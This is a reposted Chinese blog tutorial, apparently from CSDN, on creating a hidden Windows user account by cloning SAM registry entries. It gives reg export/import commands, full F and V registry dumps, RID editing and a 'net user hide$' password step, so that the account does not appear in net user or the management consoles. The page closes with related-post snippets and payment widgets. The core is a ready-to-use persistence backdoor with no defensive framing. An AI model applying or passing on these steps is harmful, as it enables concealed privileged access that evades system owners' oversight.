Windows Create Hide User

最新推荐文章于 2020-10-13 17:06:27 发布
最新推荐文章于 2020-10-13 17:06:27 发布
阅读量1.1k 收藏
点赞数
分类专栏： 网络安全 文章标签： 隐藏账号密码 windows


转自：http://codeliker.github.io/hack/2014/11/22/windows-create-hide-user/


Windows Create Hide User windows 建立隐藏账户（适用于XP、WIN7等）

22 November 2014

Overview

使用注册表操作，可以添加隐藏账户，在cmd下，net user和net localgroup administrators命令看不到。账户界面中也看不到，用户和组中也看不到该用户。只有注册表中可以看到。该方法实际上就是通过注册表来克隆用户。

基础知识介绍及原理说明

1.hklm\sam\sam赋予管理员完全控制权限或者以system权限运行命令；

2.HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\names中存储的是用户账户，每个账户里面的内容对应其类型，如0x14f、0x3e8等，即用户ID，如：

	HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\names\2008

	HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\names\Administrator

	HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\names\Guest

	HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\names\test

3.每个账户的类型（即ID）对应HKEY_LOCAL_MACHINE\sam\sam\domains\account\users下相应的子键，如0x1f4对应HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\000001F4，HKEY_LOCAL_MACHINE\sam\sam\domains\account\users内容示例：

	HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\000001F4
	HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\000001F5
	HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\000003E8
	HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\000003E9
	HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\Names

4.ID对应的子键中存储了账户的信息，F项存储其权限相关信息，V存储了其上次登录时间、修改密码、密码HASH等值。内容示例如下：

	HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\000001F4
	F    REG_BINARY    02000100000000008ACABCE62E89CB010000000000000000000000000000000000000000000000000000000000000000F401000001020000100000000000000000000600010000000000000031003100
	V    REG_BINARY    00000000BC00000002000100BC0000001A00000000000000D80000000000000000000000D80000001A00000000000000F40000000000000000000000F40000000000000000000000F40000000000000000000000F40000000000000000000000F40000000000000000000000F40000000000000000000000F40000000000000000000000F400000015000000A80000000C01000008000000010000001401000004000000000000001801000014000000000000002C0100000400000000000000300100000400000000000000010014809C000000AC0000001400000044000000020030000200000002C014004400050101010000000000010000000002C01400FFFF1F000101000000000005070000000200580003000000000014005B03020001010000000000010000000000001800FF070F000102000000000005200000002002000000002400440002000105000000000005150000008D86E99B38BC9047FE2ACA9DF40100000102000000000005200000002002000001020000000000052000000020020000410064006D0069006E006900730074007200610074006F0072006400A17B0674A18B977B3A672800DF572900847685516E7F105E37627500FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00010001020000070000000300010003000100A3B16F6C86F546A2D693FF6D6A854B2D0300010003000100

5.Windows实际登录时是根据上述表项确定用户是否存在、用户权限、用户信息等的。因此，通过克隆某用户的相关注册表项，即可达到克隆账户目录，从而建立隐藏账户。不过，需要注意的时，克隆出来的用户ID不能已经存在，也就是说我们需要修改用户ID。

操作方法

1.假设我们要克隆2008这个用户。先导出该用户的type（即ID）：

	reg export hklm\sam\sam\domains\account\users\names\2008 hide.reg

这样，就把2008的type导出到了hide.reg中，其内容为：

	Windows Registry Editor Version 5.00


	[HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\names\2008]

	@=hex(3e8):

2.导出该用户type对应的注册表项：

	 reg export hklm\sam\sam\domains\account\users\000003e8 hide_type.reg

这样就把2008的用户信息导出到了hide_type.reg中，其内容为：

	Windows Registry Editor Version 5.00

	[HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\000003e8]

	"F"=hex:02,00,01,00,00,00,00,00,5f,50,d4,48,0c,06,d0,01,00,00,00,00,00,00,00,\

	00,82,36,49,6a,61,ea,cf,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  		
	e8,03,00,00,01,02,00,00,14,00,00,00,56,00,a8,03,00,00,05,00,01,00,00,00,00,\
  		
	00,a5,00,00,00,00,00

	"V"=hex:00,00,00,00,bc,00,00,00,02,00,01,00,bc,00,00,00,08,00,00,00,00,00,00,\
  
	00,c4,00,00,00,00,00,00,00,00,00,00,00,c4,00,00,00,00,00,00,00,00,00,00,00,\
  
	c4,00,00,00,00,00,00,00,00,00,00,00,c4,00,00,00,00,00,00,00,00,00,00,00,c4,\
  	
	00,00,00,00,00,00,00,00,00,00,00,c4,00,00,00,00,00,00,00,00,00,00,00,c4,00,\
  
	00,00,00,00,00,00,00,00,00,00,c4,00,00,00,00,00,00,00,00,00,00,00,c4,00,00,\

	00,00,00,00,00,00,00,00,00,c4,00,00,00,15,00,00,00,a8,00,00,00,dc,00,00,00,\
	
	08,00,00,00,01,00,00,00,e4,00,00,00,04,00,00,00,00,00,00,00,e8,00,00,00,14,\
  		
	00,00,00,00,00,00,00,fc,00,00,00,04,00,00,00,00,00,00,00,00,01,00,00,04,00,\
	
	00,00,00,00,00,00,01,00,14,80,9c,00,00,00,ac,00,00,00,14,00,00,00,44,00,00,\

	00,02,00,30,00,02,00,00,00,02,c0,14,00,44,00,05,01,01,01,00,00,00,00,00,01,\

	00,00,00,00,02,c0,14,00,ff,07,0f,00,01,01,00,00,00,00,00,05,07,00,00,00,02,\
	
	00,58,00,03,00,00,00,00,00,24,00,44,00,02,00,01,05,00,00,00,00,00,05,15,00,\

	00,00,8d,86,e9,9b,38,bc,90,47,fe,2a,ca,9d,e8,03,00,00,00,00,18,00,ff,07,0f,\

	00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,00,00,14,00,5b,03,02,00,\

	01,01,00,00,00,00,00,01,00,00,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,\

	02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,32,00,30,00,30,00,\

	38,00,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,00,01,\

	00,01,02,00,00,07,00,00,00,03,00,01,00,03,00,01,00,09,e1,bc,25,9c,07,0f,57,\

	83,45,56,0f,ab,17,44,60,03,00,01,00,03,00,01,00

3.由于我们是要克隆该用户，需要修改其type（避免用户ID重复），也就是hide.reg中hex()里面的内容，并且需要把hide.reg中的2008改为我们想要的账户名，例如hide$,然后将hide_type.reg中HKEY_LOCAL_MACHINE\sam\sam\domains\account\users\000003e8的000003e8改为我们设定的值，也就是修改了的type。假设我们改为0x400

4.导入 修改过的 hide.reg 和 hide_type.reg 到注册表中去：

	reg import hide.reg

	reg import hide_type.reg

这样，就克隆了2008这个用户了，其用户名为hide$,ID为0x400。由于这里的注册表项存储的HASH与ID关联，当修改了ID之后，用户HASH随之改变了，也就是说密码与原用户密码不同。因此，克隆完后，需要修改hide$的密码

	net user hide$ P@ssw0rd

这样，就只有注册表能看到该用户了。

几点说明

1.对于2008服务器而言，登录界面会出现两个2008用户，点哪个登录都是登陆的2008；

2.如果操作过程中ID没有更改或者其他地方失误，可能会导致用户组中存在用户；

3.由于ID变了HASH也就变了，因此需要修改新用户的密码；

4.用户名需要是尾部为’$’的用户名，如果没有, net user 能看到该用户。



寒江雪语
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
计算机隐藏用户设置,Win10电脑怎么设置隐藏账户？电脑如何设置隐藏账户？
weixin_42442651的博客
06-18 1002
如何在Win10系统中设置隐藏帐户？无论原因如何，如果用户需要在Win10系统中设置隐藏帐户，则无法看到启动登录界面。您可以使用注册表设置帐户以实现隐藏帐户的目的。有关详细信息，请参阅下文。如何在Win10系统中设置隐藏帐户？教程/方法默认情况下，Win10将在登录屏幕上显示所有帐户的全名。要隐藏帐户，您必须找到相应的用户名。可以在本地用户和组lusrmgr.msc中查看此对应关系，但此方法不适用...
[VC++]控制台程序窗口隐藏
wawj522527的专栏
09-05 9795
HWND   hWnd;     SetConsoleTITle("HEHE");     hWnd=::FindWindow(NULL,"HEHE");     ShowWindow(hWnd,SW_HIDE);  当创建一个控制台程序时，又不想看到其窗口可用如下代码解决： #ifdef NDEBUG #pragma comment( linker, "/subs
注册表中查看隐藏用户SAM
luminous_you的博客
10-13 6330
执行 regedit 命令进注册表，在 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 若文件夹为空 修改权限
XPhide
03-06
XPhide
XPUserHide.exe
07-25
管理windows xp 登陆用户 ，可以隐藏或显示本机所有用户。
windows的技巧操作
01-19
具体操作为：找到位于`C:\Windows\inf`目录下的`sysoc.inf`文件，并使用文本编辑器打开，然后在需要隐藏的组件前添加`hide`标记，例如`hide;`,之后保存文件。这样做之后，指定的系统组件就会被隐藏起来，不再出现在...
20个有趣的windows XP技巧.docx
09-26
4. 查看隐藏的系统组件: 编辑`sysoc.inf`文件，删除“hide”关键词后，通过“控制面板”> “添加/删除程序”> “添加或删除Windows组件”，可以看到所有系统软件，包括通常隐藏的如Windows Messenger，可以进行卸载...
15个有趣的windows XP技巧.docx
09-26
4. 修改`sysoc.inf`文件显示隐藏组件：编辑`/windows/inf/sysoc.inf`文件，去除“hide”关键字，然后在“添加/删除程序”中，用户可以看到并卸载原本隐藏的系统组件，如Windows Messenger。 5. 利用命令行工具：...
AdvCam-Hide-Adv-with-Natural-Styles
05-18
conda create -n advcam_env python=3.6 source activate advcam_env 激活虚拟环境后： git clone https://github.com/RjDuan/AdvCam-Hide-Adv-with-Natural-Styles cd AdvCam-Hide-Adv-with-Natural-Styles pip ...
windows下使应用程序获得管理员权限办法
08-31
CREATE_NEW_CONSOLE | NORMAL_PRIORITY_CLASS, // creation flags NULL, // environment block NULL, // current directory &si, // startup info &pi) // process info ) { // handle error } ``` 对于C#...
对话框隐藏的几种方法
Johnny的专栏
07-22 2014
有很多应用程序要求一起动就隐藏起来，这些程序多作为后台程序运行，希望不影响其他窗口，往往只在托盘区显示一个图标。这些程序通常都是对话框程序，而对话框在初始化的过程上与SDI、MDI的初始化是不同的，对话框只需要DoModule或者是CreateDialog等等对话框函数调用一次便可，SDI、MDI则要好几步才行。这样看来，对话框在使用方法上面是隐藏了不少细节的，其中就没有SDI、MDI所要求的Sh
Win10怎么隐藏用户？Win10登录界面不显示用户的方法
热门推荐
jingde528的博客
04-24 1万+
时间:2016-05-26来源： 本站整理浏览量： 有一些Win10系统用户创建了多个帐户，有些帐户是不经常使用的这时我们就想到在登录界面能不能把这些不常使用却又有用的用户给隐藏了，当然有些朋友在别的电脑上开了小号想要隐藏~呵不管如何我们下面还是来一起看看隐藏的方法吧。 如下图，帐户在左下角都是有显示的 操作步骤如下： 第一步，确认要隐藏账户全名 1、在开始按钮单击右键或是使用W...
XP中的Administrator是显示与隐藏方法
入海数沙
02-07 198
我们在安装 WinXP时，如果设置了一个系统管理员帐号，那么系统内的没有密码保护 Administrator 管理员帐户不会出现在用户登录列表中的，可是却具有系统最高权限，为安全起见，可事先给它设置密码，待需要时再自己调用就行了，以下是本人的方法: 1、 “老式登录” 　　系统启动到欢迎屏幕时按2下Crl+At+Delete”，在打开的登录框中输入Administrator再接着单击“更改用户登...
Recovery模式下/cache/recovery/目录下创建文件，开机后文件被删除
从0到1，突破自己
03-17 9245
在一次需求的实现过程中需要在remcovery模式下，在/cache/recovery/目录下创建一个日志文件用于记录相关的日志信息，以便于在开机后读取这些日志信息，再根据日志信息做出相应的处理，但是奇怪的是每当开机完成该文件不被系统自动删除，而系统中原有的日志文件（如升级log---last_log_r）等却依然保留，因此在全局中搜索关键字”/cache/recovery/“发现了这其中的原因。
[原创]隐藏用户名出现在Windows XP欢迎画面
weixin_34059951的博客
04-27 195
安装完用友U8，多了一个UF_OLAP_USER用户出现在了Windows XP欢迎画面，特整理以下方法。 HideUser.cmd -------------------------------------------------------------------------------- @COLOR 0b@TITLE 隐藏用户名出现在欢迎画面@NET USER@SET /P Us...
CreateWindowEx()自定义窗口句柄，消息处理
Acheld的博客
03-21 1752
// /*************************************************** MyWnd.h -- MACRO Definition of the wnd ,Can be used anywhere U Want version 1.0.8, March 21th, 2016 Copyright (C) 2015-2016 Acheld CHEN
['<field name="name"/>', '<field name="location_id" options="{\'no_create\': True}" string="来自" groups="stock.group_stock_multi_locations" optional="show"/>', '<field name="location_dest_id" options="{\'no_create\': True}" string="至" groups="stock.group_stock_multi_locations" optional="show"/>', '<field name="partner_id" optional="show"/>', '<field name="user_id" optional="hide"/>', '<field name="scheduled_date" optional="show"/>', '<field name="origin" optional="show"/>', '<field name="backorder_id" optional="hide"/>', '<field name="state" optional="show"/>', '<field name="priority" optional="hide"/>', '<field name="picking_type_id" optional="hide"/>', '<field name="company_id" groups="base.group_multi_company" optional="show"/>', '<field name="activity_exception_decoration" widget="activity_exception"/>']如何获列表中name=""中引号中的内容，引号有可能是单引号或者双引号
最新发布
07-20
要从给定的字符串列表中获取`... True}" string="至" groups="stock.group_stock_multi_locations" optional="show"/>', '<field name="partner_id" optional="show"/>', '<field name="user_id" optional="hide"/>', '...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值